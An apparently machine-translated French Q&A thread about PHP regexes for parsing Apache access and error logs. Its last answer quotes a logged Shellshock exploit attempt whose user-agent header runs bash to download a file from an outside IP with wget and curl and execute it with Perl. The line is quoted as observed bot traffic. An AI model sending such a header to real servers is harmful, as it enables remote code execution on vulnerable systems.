web-dev-qa-db-fra.com

Se connecter à Apache PHP en utilisant preg_match

Je dois enregistrer les données dans une table (pour les rapports, les statistiques, etc.) afin qu'un utilisateur puisse effectuer une recherche par heure, par utilisateur, etc. J'ai un script qui s'exécute chaque jour et lit le journal Apache, puis l'insère dans la base de données. . 

Format du journal:

10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"

Mon regex:

preg_match('/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) (\".*?\") (\".*?\")$/',$log, $matches);

Maintenant, quand j'imprime: 

print_r($matches);

Array
(
    [0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
    [1] => 10.1.1.150
    [2] => -
    [3] => -
    [4] => 29/September/2011
    [5] => 14:21:49
    [6] => -0400
    [7] => GET
    [8] => /info/
    [9] => HTTP/1.1
    [10] => 200
    [11] => 9955
    [12] => "http://www.domain.com/download/"
    [13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
)

Je reçois: "http://www.domain.com/download/" et identique pour l'agent utilisateur. Comment puis-je me débarrasser de ces " dans la regex? Bonus (Existe-t-il un moyen rapide d'insérer facilement la date et l'heure)?

Merci

26
Tech4Wilco

Pour analyser un journal Apache access_log dans PHP, vous pouvez utiliser cette expression régulière:

$regex = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/';
preg_match($regex ,$log, $matches);

Pour correspondre au format Apache error_log, vous pouvez utiliser cette expression rationnelle:

$regex = '/^\[([^\]]+)\] \[([^\]]+)\] (?:\[client ([^\]]+)\])?\s*(.*)$/i';
preg_match($regex, $log, $matches);
$matches[1] = Date and time,           $matches[2] = severity,
$matches[3] = client addr (if present) $matches[4] = log message

Il correspond aux lignes avec ou sans le client: 

[Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations
[Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/Apache2/htdocs/x.js
38
drew010

Si vous ne souhaitez pas capturer les guillemets doubles, déplacez-les hors des groupes de capture.

 (\".*?\") 

Devraient devenir:

 \"(.*?)\"

Comme alternative, vous pouvez simplement post-traiter les entrées avec trim($str, '"')

3
mario

votre expression rationnelle est incorrecte. vous devez utiliser l'expression rationnelle correcte

/^(\S+) (\S+) (\S+) - \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/
1
qwertmax

Comme je l'ai souvent vu et analysé de manière erronée, voici une expression rationnelle valide, testée sur 50 000 lignes de journaux sans aucun diff, sachant que:

  • auth_user peut avoir des espaces
  • response_size peut être -
  • http_start_line peut au moins un espace (HTTP/0.9) ou deux
  • http_start_line peut contenir des guillemets
  • le référent peut être vide, avoir des espaces ou des guillemets (c'est juste un en-tête HTTP)
  • user_agent peut aussi être vide ou contenir des guillemets doubles et des espaces
  • Il est difficile de faire la distinction entre référant et utilisateur-agent, mais le " " entre les deux est assez discriminant, mais nous pouvons trouver l'infâme " " dans le référant et dans l'agent-utilisateur, donc nous sommes foutus ici.

    $ncsa_re = '/^(?P<IP>\S+)
    \ (?P<ident>\S)
    \ (?P<auth_user>.*?) # Spaces are allowed here, can be empty.
    \ (?P<date>\[[^]]+\])
    \ "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9
    \ (?P<status_code>[0-9]+) # Status code is _always_ an integer
    \ (?P<response_size>(?:[0-9]+|-)) # Response size can be -
    \ "(?P<referrer>.*)" # Referrer can contains everything: its just a header
    \ "(?P<user_agent>.*)"$/x';
    

J'espère que c'est de l'aide.

0
Julien Palard

J'ai essayé d'utiliser quelques expressions régulières ici en janvier 2015 et j'ai constaté qu'un mauvais bot n'obtient pas de correspondance dans mon journal Apache2.

La mauvaise ligne de robots Apache2 est une tentative de piratage BASH, et je n'ai pas encore essayé de comprendre la correction de l'expression rationnelle:

199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;Perl mc;Perl /tmp/mc\""
0
Charlie